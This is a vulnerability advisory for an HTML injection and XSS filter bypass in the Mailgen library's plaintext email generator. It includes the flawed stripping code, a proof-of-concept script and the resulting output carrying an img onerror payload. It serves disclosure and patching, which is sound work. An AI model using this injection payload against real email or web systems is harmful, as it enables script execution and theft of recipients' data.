CVE-2025-62366
Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails
Description
### Summary An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email)` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt). ### Details The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string. ```javascript // Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params); // Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams); // Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag); // Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, ''); // Replace html break tags with linebreaks output = output.replace(breakTag, '\n'); // Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); } // Strip all HTML tags from plaintext output output = output.replace(/<.+?>/g, ''); // Decode HTML entities such as © output = he.decode(output); // All done! return output; }; ``` The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the HTML tags are encoded, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities. A valid payload is: `<img src=xyz onerror=alert(1)>`. ### PoC ```javascript var Mailgen = require('mailgen'); // Configure mailgen by setting a theme and your product info var mailGenerator = new Mailgen({ theme: 'default', product: { // Appears in header & footer of e-mails name: 'Mailgen', link: 'https://mailgen.js/' // Optional product logo // logo: 'https://mailgen.js/img/logo.png' } }); var email = { body: { name: 'John <img src=x onerror=alert(document.body.innerHTML)> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', // Optional action button color text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } }; var emailText = mailGenerator.generatePlaintext(email); require('fs').writeFileSync('emailText.html', emailText, 'utf8'); ``` **Resulting output file (emailText.html)**: ```HTML Hi John <img src=x onerror=alert(document.body.innerHTML)> Appleseed, Welcome to Mailgen! We're very excited to have you on board. To get started with Mailgen, please click here: secret-link Need help, or have questions? Just reply to this email, we'd love to help. Yours truly, Mailgen © 2025 Mailgen. All rights reserved. ``` ### Impact Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message). ### Credits Edoardo Ottavianelli (@edoardottt)